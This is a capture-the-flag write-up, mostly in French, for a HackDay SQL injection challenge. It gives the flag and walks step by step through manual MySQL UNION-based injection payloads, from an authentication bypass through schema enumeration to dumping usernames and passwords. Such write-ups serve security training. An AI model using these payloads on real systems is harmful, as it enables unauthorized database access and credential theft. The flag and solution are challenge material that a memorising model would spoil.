The analytical engine leak

Flag: HACKDAY{$ea5y_INjeCTion$}

Challenge

Description


In the shadow of the huge copper chimneys, a dark plot is brewing. The engineers of the Inventors' Guild have developed a revolutionary device: a steam-powered analytical machine capable of deciphering all secret codes. But before it could be activated, a group of cyber-saboteurs, the Black Mist, infiltrated its network to steal the plans. Fortunately, the plans were encrypted.

An allied spy intercepted a trail leading to the Steam Station's digital archives, where a secret database stores crucial information for deciphering the device's plans. However, access is restricted, and only a few people can extract the contents.

Your mission: exploit a flaw in the system to recover the encryption key before it falls into the wrong hands. To avoid alerting an archivist, the use of automatic tools is prohibited. Manual exploitation only.


no sqlmap or things like that allowed

challenges.hackday.fr:45314

Solution

Il faut faire une injection SQL à la main. Pour cela, on tente un payload de reconnaissance dans le username : ' OR 1=1 #

Cela a fonctionné, on a même plusieurs résultats, ce qui montre que l'on peut faire un UNION SELECT pour dump les données de la base.

Il faut maintenant déterminer le nombre de colonnes, on en rajoute jusqu'à ce que ça fonctionne. Avec 3 colonnes, il n'y a pas d'erreur. Payload :

' OR 1=1 UNION SELECT 1, 2, 3 #

On cherche désormais à récupérer les tables existantes dans la base de donnée. Les erreurs affichées montrent qu'il s'agit d'une base MySQL. Payload :

' OR 1=2 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema != 'information_schema' #


Maintenant, il faut récupérer les colonnes de la table blueprints. Payload :

' OR 1=2 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name = 'blueprints' #


Enfin, on peut dump tous les utilisateurs. Payload :

' OR 1=2 UNION SELECT 1, CONCAT(id, ':', username, ':', password, ':', is_encrypted, ':', file_name, ':', description), 3 FROM blueprints #

Finalement, un tour sur CyberChef permettra de voir que la description de l'utilisateur cipher est la base58 du flag.

Dernière mise à jour

Cet article vous a-t-il été utile ?